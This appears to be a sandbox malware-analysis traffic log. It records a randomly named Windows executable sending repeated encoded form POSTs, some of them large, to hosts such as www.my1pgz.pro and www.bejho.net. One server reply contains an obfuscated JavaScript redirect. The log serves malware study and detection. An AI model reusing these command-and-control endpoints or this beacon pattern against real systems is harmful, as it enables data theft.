Oct 3, 2024 18:15:41.254548073 CEST	778	OUT	POST /4db5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.my1pgz.pro Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.my1pgz.pro Referer: http://www.my1pgz.pro/4db5/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 45 55 70 48 58 6b 7a 62 57 45 78 6d 71 54 34 4f 36 58 66 4e 4d 31 56 32 7a 36 35 71 41 63 4f 44 6e 6c 31 41 54 32 6a 73 34 4d 77 36 49 47 70 36 43 70 35 4a 52 30 66 64 5a 50 50 44 4a 2b 43 74 2b 71 61 51 46 46 61 4b 39 69 4c 7a 43 2f 72 57 6b 47 67 48 4e 66 34 47 6d 55 49 57 37 63 6a 6d 58 47 70 54 36 43 7a 4e 30 4a 6b 56 52 43 30 46 77 66 52 76 61 4b 56 76 4e 72 4f 34 56 67 6e 47 56 71 65 78 44 6b 52 38 35 4e 71 74 4d 77 61 4f 37 39 71 6e 72 77 69 31 5a 46 4c 32 53 54 74 58 52 66 66 6e 46 49 4b 33 7a 6e 59 67 76 55 4c 32 36 78 78 4c 58 47 46 39 45 64 4d 51 34 74 79 56 74 51 3d 3d Data Ascii: SLTxDJ=EUpHXkzbWExmqT4O6XfNM1V2z65qAcODnl1AT2js4Mw6IGp6Cp5JR0fdZPPDJ+Ct+qaQFFaK9iLzC/rWkGgHNf4GmUIW7cjmXGpT6CzN0JkVRC0FwfRvaKVvNrO4VgnGVqexDkR85NqtMwaO79qnrwi1ZFL2STtXRffnFIK3znYgvUL26xxLXGF9EdMQ4tyVtQ==
Oct 3, 2024 18:15:41.566009998 CEST	364	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 36 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 29 4e 2e ca 2c 28 b1 cb c9 4f 4e 2c c9 cc cf 8b 56 cf 50 d7 56 2f 4a 05 12 69 ea b1 0a b6 0a 89 25 f9 49 1a ea 89 1e 41 06 c9 1e be 66 3e 95 16 26 51 59 ae a6 3e b9 86 a6 be 11 19 55 49 99 a6 e5 c9 b9 16 66 fe 2e e9 46 7e e5 b6 b6 ea 9a 36 fa 50 13 01 50 60 95 97 5a 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 67)N.,(ON,VPV/Ji%IAf>&QY>UIf.F~6PP`Z0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.11.20	49788	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:44.082454920 CEST	798	OUT	POST /4db5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.my1pgz.pro Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.my1pgz.pro Referer: http://www.my1pgz.pro/4db5/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 45 55 70 48 58 6b 7a 62 57 45 78 6d 37 43 49 4f 32 51 7a 4e 4a 56 56 31 76 4b 35 71 5a 4d 4f 48 6e 6c 35 41 54 79 37 61 34 35 6f 36 49 6e 35 36 44 6f 35 4a 64 55 66 64 57 76 4f 4a 4b 4f 43 6d 2b 71 58 6c 46 48 2b 4b 39 69 50 7a 43 2b 62 57 6b 33 67 45 66 2f 35 67 72 30 4a 51 34 73 6a 6d 58 47 70 54 36 44 57 6f 30 4b 55 56 52 7a 45 46 78 2b 52 6f 54 71 56 75 61 62 4f 34 52 67 6e 43 56 71 65 54 44 6c 39 57 35 4a 61 74 4d 79 79 4f 34 76 4f 6d 34 51 69 33 47 56 4c 6a 64 53 31 5a 58 4c 69 54 4f 35 53 53 35 6c 67 72 71 43 61 73 6e 44 46 76 55 56 5a 50 41 74 31 34 36 76 7a 4f 77 55 58 48 65 2f 66 6b 62 62 31 42 43 69 49 42 4c 56 78 61 2f 70 67 3d Data Ascii: SLTxDJ=EUpHXkzbWExm7CIO2QzNJVV1vK5qZMOHnl5ATy7a45o6In56Do5JdUfdWvOJKOCm+qXlFH+K9iPzC+bWk3gEf/5gr0JQ4sjmXGpT6DWo0KUVRzEFx+RoTqVuabO4RgnCVqeTDl9W5JatMyyO4vOm4Qi3GVLjdS1ZXLiTO5SS5lgrqCasnDFvUVZPAt146vzOwUXHe/fkbb1BCiIBLVxa/pg=
Oct 3, 2024 18:15:44.395708084 CEST	364	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:15:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 36 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 29 4e 2e ca 2c 28 b1 cb c9 4f 4e 2c c9 cc cf 8b 56 cf 50 d7 56 2f 4a 05 12 69 ea b1 0a b6 0a 89 25 f9 49 1a ea 89 1e 41 06 c9 1e be 66 3e 95 16 26 51 59 ae a6 3e b9 86 a6 be 11 19 55 49 99 a6 e5 c9 b9 16 66 fe 2e e9 46 7e e5 b6 b6 ea 9a 36 fa 50 13 01 50 60 95 97 5a 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 67)N.,(ON,VPV/Ji%IAf>&QY>UIf.F~6PP`Z0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.11.20	49789	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:46.902600050 CEST	1289	OUT	POST /4db5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.my1pgz.pro Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.my1pgz.pro Referer: http://www.my1pgz.pro/4db5/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 45 55 70 48 58 6b 7a 62 57 45 78 6d 37 43 49 4f 32 51 7a 4e 4a 56 56 31 76 4b 35 71 5a 4d 4f 48 6e 6c 35 41 54 79 37 61 34 36 49 36 50 56 68 36 43 4c 68 4a 63 55 66 64 66 50 4f 4b 4b 4f 43 42 2b 71 66 70 46 48 79 61 39 67 6e 7a 54 73 54 57 69 46 59 45 47 50 35 67 69 55 49 58 37 63 69 38 58 47 5a 66 36 44 47 6f 30 4b 55 56 52 77 63 46 68 66 52 6f 56 71 56 76 4e 72 4f 6b 56 67 6e 36 56 70 76 75 44 6c 4a 73 35 36 53 74 4e 53 69 4f 72 74 57 6d 37 77 69 35 46 56 4b 6d 64 53 49 62 58 4c 58 6f 4f 35 57 6f 35 69 45 72 72 46 7a 4c 2f 43 64 4e 47 56 46 4d 48 76 56 61 33 38 69 64 36 44 4b 38 50 4e 54 6c 63 4f 42 48 4c 45 4d 64 55 57 31 61 71 2f 45 71 31 78 42 54 58 41 72 73 79 49 31 33 65 33 79 36 4a 4d 35 74 6b 57 46 57 36 2f 63 68 56 4b 65 46 79 79 33 49 6c 37 72 35 4a 6c 6a 76 4f 62 38 56 71 62 41 70 42 78 53 31 54 4a 7a 4d 42 49 71 4c 74 75 6c 55 73 47 66 56 4a 7a 42 56 63 65 70 34 63 6b 52 34 79 79 59 38 39 49 64 51 4a 39 74 6c 6a 39 4c 4f 7a 5a 44 33 58 58 71 6e 4a 4b 64 37 6e 78 6a [TRUNCATED] Data Ascii: SLTxDJ=EUpHXkzbWExm7CIO2QzNJVV1vK5qZMOHnl5ATy7a46I6PVh6CLhJcUfdfPOKKOCB+qfpFHya9gnzTsTWiFYEGP5giUIX7ci8XGZf6DGo0KUVRwcFhfRoVqVvNrOkVgn6VpvuDlJs56StNSiOrtWm7wi5FVKmdSIbXLXoO5Wo5iErrFzL/CdNGVFMHvVa38id6DK8PNTlcOBHLEMdUW1aq/Eq1xBTXArsyI13e3y6JM5tkWFW6/chVKeFyy3Il7r5JljvOb8VqbApBxS1TJzMBIqLtulUsGfVJzBVcep4ckR4yyY89IdQJ9tlj9LOzZD3XXqnJKd7nxjl82C0iceFdefoBiA1cXHTQMgwqaJbjF16H/TtzJHjHUY8z7yTLkYpzyHX+jbXjrlyLkih9iezKooKsRbiA8JNF81c190bki8IjK3Vmf8DeD1ru4T2Gp+9ItKGqjFG/xbuLwDma0CId6HYOrNEanJVcCy9k4JeVcaqjtHBtcBomNpExEH6GA2jbEfOPmtMaPFiYBPJ8ZfSTU4NNTfchLJ4nfEpFQUHQhjCvXsLEWlyAigJKSXzm3JTNLmcvYCZfwjcibdIcVfOEb2BWywBRExGEFbjSD6/7l0SZkQPXp7KMSp5upZ2nruGJxiPNNF+GTrySk0DNeAHWP/ylr7kLO8Ajmfzqs0z+3gkcodBtJvrnZcu6GaqjbvVs3
Oct 3, 2024 18:15:46.902650118 CEST	5156	OUT	Data Raw: 55 68 6e 44 6f 51 68 30 31 44 6f 59 7a 41 74 39 78 42 6b 59 4e 37 44 70 72 71 62 38 58 36 57 4f 6c 6a 30 5a 71 55 75 43 48 53 53 32 6d 79 54 4f 42 70 48 54 4b 41 4c 57 41 57 42 41 67 71 6e 2b 34 2f 7a 55 38 72 71 76 63 34 75 68 64 4b 55 4a 48 42 Data Ascii: UhnDoQh01DoYzAt9xBkYN7Dprqb8X6WOlj0ZqUuCHSS2myTOBpHTKALWAWBAgqn+4/zU8rqvc4uhdKUJHBDQ1hJ9kTd76wwGhE6HDOKPKuEHZkeoG6sTWlqYVf9MICMIkTpL7depxnXXF93u72eIKrU5TFRwy3Unb1thPtM3vXjyhQ4YpGq1t1VimvellDJpNMweGGttyBZNhGhRpn2PSl6/v0KeQs4U36xogCcewJtFe2Do00W
Oct 3, 2024 18:15:46.902698994 CEST	1289	OUT	Data Raw: 79 34 4b 66 73 50 59 67 70 30 31 56 50 44 55 39 76 68 63 79 61 47 36 71 76 47 7a 51 53 6a 70 6a 46 34 6f 49 51 74 4c 74 77 42 2b 2b 38 51 7a 63 69 57 38 6d 58 33 47 61 4e 63 30 4c 65 79 75 4d 57 47 76 45 66 75 63 4c 59 71 70 34 34 70 48 37 37 34 Data Ascii: y4KfsPYgp01VPDU9vhcyaG6qvGzQSjpjF4oIQtLtwB++8QzciW8mX3GaNc0LeyuMWGvEfucLYqp44pH774FzfztOdcIXiJgZ8QrmOfaXEzVfssQcq1dq0ZPUhgHvX4aXfPs5A8eEYcxQruVdcBv8PFg8+hQABUJ1mVczLlDh2Vq0bNap/gJUEzPVJJullNcInpufKKYN2dxGJCjExIXAcxUBJNyEjYDGYg8xE2pFgkqOBhmqDTE
Oct 3, 2024 18:15:46.902868032 CEST	213	OUT	Data Raw: 43 72 48 77 41 52 59 4d 30 39 36 47 4c 58 67 69 31 61 62 74 73 65 74 65 41 39 76 54 4a 45 36 4a 67 58 73 4b 55 35 57 34 4f 6f 6e 41 64 6f 4d 53 6e 69 47 47 65 34 43 77 43 6a 75 6e 67 32 38 39 54 39 46 56 44 66 63 4d 57 74 6b 4a 30 36 7a 6e 39 2b Data Ascii: CrHwARYM096GLXgi1abtseteA9vTJE6JgXsKU5W4OonAdoMSniGGe4CwCjung289T9FVDfcMWtkJ06zn9+GzWKFLI6gOZtFgb5pQgPqW8sH+3UJU+F+o/SspDz+PmsncWTFZw3ocsKZ/7m2FzAw2IJHuTpCiExrOT6w9Q0H6I4PihkZGI5f8vRBwA6JJ2HYhEW2bvWrBw54raAOsUig==
Oct 3, 2024 18:15:47.209755898 CEST	364	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Content-Encoding: gzip Data Raw: 36 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 29 4e 2e ca 2c 28 b1 cb c9 4f 4e 2c c9 cc cf 8b 56 cf 50 d7 56 2f 4a 05 12 69 ea b1 0a b6 0a 89 25 f9 49 1a ea 89 1e 41 06 c9 1e be 66 3e 95 16 26 51 59 ae a6 3e b9 86 a6 be 11 19 55 49 99 a6 e5 c9 b9 16 66 fe 2e e9 46 7e e5 b6 b6 ea 9a 36 fa 50 13 01 50 60 95 97 5a 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 67)N.,(ON,VPV/Ji%IAf>&QY>UIf.F~6PP`Z0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.11.20	49790	156.227.17.86	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:49.734515905 CEST	516	OUT	GET /4db5/?sdqp=DdBtjpu0&SLTxDJ=JWBnURPzURxMoi4xzS/0RXpO95Qff8eMjFIVKD34+5pZP2tDVIV6Y1ntZozAJNHS65jkGG3Y+j6DOJzUlHYrNaxIv254yPfrR3c04RHEiI0VSClr7epecsQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.my1pgz.pro Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:15:50.050538063 CEST	332	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 16:15:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Data Raw: 35 37 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 5b 27 68 27 2b 27 72 65 27 2b 27 66 27 5d 20 3d 20 61 74 6f 62 28 27 61 48 52 30 63 48 4d 36 4c 79 38 34 5a 6a 45 35 4c 6d 31 35 4d 58 68 7a 62 69 35 77 63 6d 38 36 4f 44 67 32 4e 77 3d 3d 27 29 3c 2f 73 63 72 69 0d 0a 33 0d 0a 70 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 57<script>location['h'+'re'+'f'] = atob('aHR0cHM6Ly84ZjE5Lm15MXhzbi5wcm86ODg2Nw==')</scri3pt>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.11.20	49791	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:55.238291979 CEST	775	OUT	POST /m4fe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.bejho.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.bejho.net Referer: http://www.bejho.net/m4fe/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 75 38 34 6d 4e 57 68 36 62 43 4d 71 48 69 54 36 32 48 59 43 76 59 79 74 79 54 6b 41 43 79 52 7a 41 30 4d 4c 6e 79 44 46 59 77 71 36 6d 6c 39 71 32 61 7a 61 35 38 36 71 55 6d 64 71 59 54 57 4c 4e 2f 35 6d 78 54 78 30 6d 6c 72 4d 5a 2f 61 73 47 6f 34 34 5a 42 79 6f 32 62 52 61 4a 31 6d 4b 65 48 6b 6a 51 4b 5a 56 39 4a 7a 33 70 59 52 52 34 51 31 30 4b 55 6a 74 62 54 5a 72 53 38 48 39 79 43 57 61 35 59 57 46 66 38 63 57 54 31 65 32 62 44 78 49 4a 4d 4d 51 68 65 49 62 49 32 4e 43 70 4b 63 4d 45 4b 47 61 4b 68 47 75 58 2f 61 44 30 78 54 69 50 45 47 61 48 74 58 35 62 31 71 62 65 51 3d 3d Data Ascii: SLTxDJ=u84mNWh6bCMqHiT62HYCvYytyTkACyRzA0MLnyDFYwq6ml9q2aza586qUmdqYTWLN/5mxTx0mlrMZ/asGo44ZByo2bRaJ1mKeHkjQKZV9Jz3pYRR4Q10KUjtbTZrS8H9yCWa5YWFf8cWT1e2bDxIJMMQheIbI2NCpKcMEKGaKhGuX/aD0xTiPEGaHtX5b1qbeQ==
Oct 3, 2024 18:15:55.404742002 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:15:55 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 [TRUNCATED] Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.11.20	49792	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:57.922125101 CEST	795	OUT	POST /m4fe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.bejho.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.bejho.net Referer: http://www.bejho.net/m4fe/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 75 38 34 6d 4e 57 68 36 62 43 4d 71 46 44 44 36 7a 6b 41 43 6e 59 79 71 39 7a 6b 41 49 53 52 33 41 30 49 4c 6e 7a 33 56 5a 47 79 36 6d 45 4e 71 33 62 7a 61 38 38 36 71 66 47 64 56 57 7a 57 41 4e 2f 39 45 78 57 4a 30 6d 6c 2f 4d 5a 2f 4b 73 48 62 41 37 61 78 79 71 71 62 52 69 55 6c 6d 4b 65 48 6b 6a 51 4b 4e 2f 39 4a 72 33 70 4a 42 52 34 79 4e 72 44 30 6a 69 4c 44 5a 72 66 63 48 35 79 43 58 35 35 5a 4b 72 66 2f 6b 57 54 30 75 32 62 33 45 65 51 38 4d 53 2b 75 4a 46 50 55 38 51 6c 2b 34 4f 4c 4b 71 58 4e 54 6d 6b 62 4a 4c 5a 70 44 6e 47 4d 58 61 6f 44 64 75 52 5a 33 72 41 44 57 70 63 58 4a 77 41 4b 6b 57 65 58 74 56 66 66 32 43 33 77 53 38 3d Data Ascii: SLTxDJ=u84mNWh6bCMqFDD6zkACnYyq9zkAISR3A0ILnz3VZGy6mENq3bza886qfGdVWzWAN/9ExWJ0ml/MZ/KsHbA7axyqqbRiUlmKeHkjQKN/9Jr3pJBR4yNrD0jiLDZrfcH5yCX55ZKrf/kWT0u2b3EeQ8MS+uJFPU8Ql+4OLKqXNTmkbJLZpDnGMXaoDduRZ3rADWpcXJwAKkWeXtVff2C3wS8=
Oct 3, 2024 18:15:58.082304955 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Thu, 03 Oct 2024 16:15:58 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 [TRUNCATED] Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.11.20	49793	64.225.91.73	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:00.609354973 CEST	2578	OUT	POST /m4fe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.bejho.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.bejho.net Referer: http://www.bejho.net/m4fe/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 75 38 34 6d 4e 57 68 36 62 43 4d 71 46 44 44 36 7a 6b 41 43 6e 59 79 71 39 7a 6b 41 49 53 52 33 41 30 49 4c 6e 7a 33 56 5a 47 36 36 6c 79 35 71 31 38 66 61 37 38 36 71 53 6d 64 55 57 7a 57 6e 4e 37 52 41 78 57 31 6b 6d 6e 48 4d 66 5a 47 73 4f 4b 41 37 4e 42 79 71 68 37 52 5a 4a 31 6d 66 65 48 30 2f 51 4b 64 2f 39 4a 72 33 70 4b 4a 52 2b 67 31 72 46 30 6a 74 62 54 5a 33 53 38 47 6d 79 43 66 48 35 5a 4f 56 66 76 45 57 54 55 2b 32 49 55 73 65 5a 38 4d 55 39 75 4a 4e 50 55 78 4f 6c 36 52 2f 4c 4b 4f 78 4e 53 69 6b 4c 76 69 52 37 41 6d 65 62 6c 48 2f 65 2b 36 38 66 30 7a 54 4a 58 70 7a 58 61 38 4a 4e 54 71 35 58 4f 74 44 4d 56 76 31 73 55 41 48 55 6b 47 67 61 49 51 4d 4f 64 32 44 4c 34 68 2b 35 4a 4d 69 53 70 63 61 41 66 45 39 39 33 66 59 42 56 39 77 30 77 72 6d 4e 52 76 69 32 4a 4b 4e 6a 44 50 77 6f 46 45 6a 70 62 39 53 6b 45 2f 43 63 65 57 74 54 42 78 5a 65 67 64 76 37 6a 5a 47 42 78 38 4b 41 56 74 49 41 6c 43 78 76 69 79 34 79 4a 69 79 62 6c 50 63 53 78 78 63 4c 59 64 36 53 66 35 [TRUNCATED] Data Ascii: SLTxDJ=u84mNWh6bCMqFDD6zkACnYyq9zkAISR3A0ILnz3VZG66ly5q18fa786qSmdUWzWnN7RAxW1kmnHMfZGsOKA7NByqh7RZJ1mfeH0/QKd/9Jr3pKJR+g1rF0jtbTZ3S8GmyCfH5ZOVfvEWTU+2IUseZ8MU9uJNPUxOl6R/LKOxNSikLviR7AmeblH/e+68f0zTJXpzXa8JNTq5XOtDMVv1sUAHUkGgaIQMOd2DL4h+5JMiSpcaAfE993fYBV9w0wrmNRvi2JKNjDPwoFEjpb9SkE/CceWtTBxZegdv7jZGBx8KAVtIAlCxviy4yJiyblPcSxxcLYd6Sf5Chxb+GOM6/jG8m0lVkOAcpdM+HseyLUqpU+MRCQmYZksetKcHeLmYt2CSglLUqAZX3xqQTspT5q6OfVCDxiDbWrSaxQQ4Z6Jp16cZVnhRltNSdYcSFwu9MFqULbLmv8uhXsn+1b25gLhtXzGK3Gzt90uLEzXOmW3MXIGCEh6R3P/4pXr1jEZyhMD0CTryo+wJBEoJ+Gr9S/LDrQcFG4e+jd56ZWu0amBf7wLCBNM5BTsLZwFSDYD2Uku9gLqGxYhJwT+xzABr9mDmJDau8FMEsForyx/MXpmdj03Q23XhX/sInN8m+tQn5DQcdJ+YcpXB6saxcI8KkoOzvFENrGjio0jw5GinapzX9lXhER/72vlxWD3KgSqQMC9QnTvtJlNCPBjtk6rndoujQr+IfLD1xdhoeui+R/RrnizTO0l028foDubHxs21D48+SvAzm83CBKK2pUwlQsy/zbehkLF8atM6v9wUeiFMcbuhH4sfkY2Bg9UJCnatQ92CHR4ZCWoBPrD760HQpCZFx8FIUOxkwHUAdTHO1jSGY6irCw8roIH5sK7hijHJyf30PHFsJ9pzD3zP6ylMQSd1krwoXafqwHaEDk6WzCllKYv9xmZPDMUgPWhYcq31tC/7Fs64NoC00j6iVU+ZK7XMZ//OCssWSeniU0BN1EKvc [TRUNCATED]
